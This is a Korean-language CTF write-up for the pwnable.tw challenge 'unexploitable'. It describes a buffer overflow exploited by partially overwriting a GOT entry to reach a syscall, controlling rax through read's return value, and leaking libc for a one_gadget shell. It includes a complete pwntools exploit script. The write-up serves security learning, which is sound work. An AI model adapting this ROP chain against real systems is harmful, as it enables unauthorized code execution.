뇌
[ Pwnable ] unexploitable write-up 본문
[ 메모리 보호기법 ]
[ main 함수 ]
매우 간단하다. 3초 동안 sleep 후 read 함수로 값을 입력 받는다.
buf 의 시작주소가 rbp-0x10 이고, read 함수로 최대 0x100 bytes 만큼 덮을 수 있으므로 BOF 가 발생한다.
평범한 ROP 처럼 보여 함수 주소를 leak 한 후 libc_base 를 구해 oneshot 으로 ret addr 를 덮으면 된다고 생각을 했지만, 값을 출력할 수 있는 함수 ( leak 할 수 있는 함수 ) 가 없기 때문에 leak 이 불가능하다..
이 문제의 핵심은 syscall 을 호출을 하는 것이다. syscall 을 호출한다면 여기에 없는 함수여도 호출을 할 수가 있다.
1. 그럼 syscall 은 어떻게 호출을 할까 ?
메모리 보호기법을 보면, RELRO 가 Partial RELRO 이기 때문에 got 값을 덮을 수가 있다.
그러면 함수의 got 를 syscall 위치로 덮으면 다음에 그 함수를 호출했을 때 syscall 이 호출이 될 것이다.
주어진 함수의 read 함수를 보면 syscall 이 존재한다.
read 함수의 offset 은 0xf6670, read 함수 내부에 있는 syscall 의 offset 은 0xf667e 이므로, 하위 1 byte 만 다르다.
1 byte 만 다르다는 걸로 엄청난 걸 할 수 있다.
하위 1.5 bytes 는 항상 같기 때문에 나머지 bytes 의 값을 몰라도 1byte 의 값을 바꾸면 그 주변에 있는 위치의 값으로 바꿀 수 있다.
예를 들어, read 함수의 실제 주소를 0x7ffaaaaa7670 라고 하자.
그럼 하위 1.5 bytes 는 항상 같기 때문에 read 함수 내부에 있는 syscall 의 주소는 0x7ffaaaaa767e 가 될 것이다.
그러므로 상위 bytes 를 몰라도 하위 1 byte 만 바꾸어 주면 된다는 말이다.
이렇게 read 함수를 syscall 로 바꿨다고 하자.
그럼 syscall number 의 값을 넣을 레지스터인 rax 의 값을 원하는 값으로 변조해야 하는데, pop rax 가젯이 없다.
2. rax 값을 어떻게 변조시킬까 ?
read 함수에 대해 잘 알면 충분히 생각을 하면 알 수 있을 것이다.
read 함수
- read 함수의 반환값은 read 함수로 입력 받은 문자열의 길이이다.
- read 함수의 반환값은 rax 에 들어간다.
그럼 우리가 뭘 할 수 있느냐,
read 함수로 원하는 syscall number 만큼 아무값이나 입력하면 rax 를 원하는 값으로 변조할 수 있다. ! ( 나중에도 많이 쓰인다고 하니 잘 알아두자. )
+ ) rdi, rsi, rdx 는 __libc_csu_init 을 이용하여 바꾸면 된다.
[ 공격 방법 ]
execve 를 호출해서 쉘을 따는 방법도 있지만, 동아리 선배께서 libc leak 해서 쉘을 따보라 하셔서 libc 를 이용해 쉘을 따는 방법으로 접근했다.
1. __libc_csu_init 으로 인자 설정 후 read 함수로 sleep 함수를 syscall 로 변조
sleep 함수는 nanosleep 이라는 함수를 호출을 한다.
nanosleep 함수에 syscall 이 존재하는데, sleep 함수의 하위 1.5 bytes 는 0x680 이고,
nanosleep 함수 내부에 있는 syscall 주소의 하위 1.5 bytes 는 0x73e 이므로 하위 1 byte 를 덮어도 세번째가 다르기 때문에 syscall 로 접근할 수가 없다.
여기서 뻘짓을 많이 했는데, sleep 함수 뒷쪽이 아니라 앞쪽에 있는 syscall 을 보면 됐다.
sleep 함수 앞에 있는 waitid 함수 내부에 있는 syscall 의 하위 1.5 bytes 는 0x60e 이므로 1 byte 만 0x0e 로 덮으면 syscall 을 호출 할 수 있다.
2. 인자 세팅 후 sleep@plt 호출 ( syscall 호출 ) -> main 함수에 있는 read 함수로 점프
- 1번에서 read 함수로 1byte 만 입력 했기 때문에 rax 에는 1 이 들어가고, syscall number 1 은 write 함수이므로 딱 들어맞았다.
- main 함수에 있는 read 함수로 다시 돌아가는 이유는 __libc_csu_init 으로 인자 세팅을 하면 많은 페이로드가 생각보다 많이 길어지기 때문에 한번에 입력하면 0x100 bytes 가 넘는다.
3. 구한 libc_base 로 oneshot !
[ payload ]
from pwn import *
context.log_level = 'debug'
#p = remote('chall.pwnable.tw', '10403')
p = process('./unexploitable', env = {"LD_PRELOAD" : "./libc_64.so.6"})
e = ELF('./unexploitable')
libc = ELF('./libc_64.so.6')
def pppc(call, edi, rsi, rdx):
p = ''
p += p64(0)*2
p += p64(1)
p += p64(call)
p += p64(edi)
p += p64(rsi)
p += p64(rdx)
p += p64(0x4005d0)
return p
sleep(4)
pay = ''
pay += 'A'*0x18
pay += p64(0x4005e6) + pppc(e.got['read'], 0, e.got['sleep'], 1)
pay += pppc(e.got['sleep'], 1, e.got['read'], 6) + p64(e.bss()+0x300)*6
pay += p64(0x40055b)
pause()
p.sendline(pay)
p.send('\x0e')
libc_base = u64(p.recv(6) + '\x00\x00') - libc.symbols['read']
log.info('libc_base : ' + hex(libc_base))
pay = ''
pay += 'A'*0x18
pay += p64(libc_base + 0x4526a) + '\x00'*0x50
#pause()
sleep(0.1)
p.sendline(pay)
p.interactive()
HackCTF SysROP 문제랑 비슷해서 한번 풀어봐 쉽게 접근할 수 있었다.
얻은 것
1. syscall 호출하기 위해 하위 1 byte 를 덮을 때 뒤쪽에 쓸만한 syscall 이 없으면 앞쪽에도 있다 !
2. read 함수의 반환값으로 rax 값을 원하는 값으로 변조할 수 있다 !
3. pop rdi 가젯이 없으면 libc 에 있는 가젯을 가져올 수 있음
'Pwnable > pwnable.tw write-up' 카테고리의 다른 글
[ Pwnable ] starbound write-up (0) | 2021.08.06 |
---|---|
[ Pwnable ] dubblesort write-up (0) | 2021.07.31 |
[ Pwnable ] 3x17 write-up (0) | 2021.07.31 |
[ Pwnable ] seethefile write-up (0) | 2021.07.31 |
[ Pwnable ] silver_bullet write-up (0) | 2021.03.07 |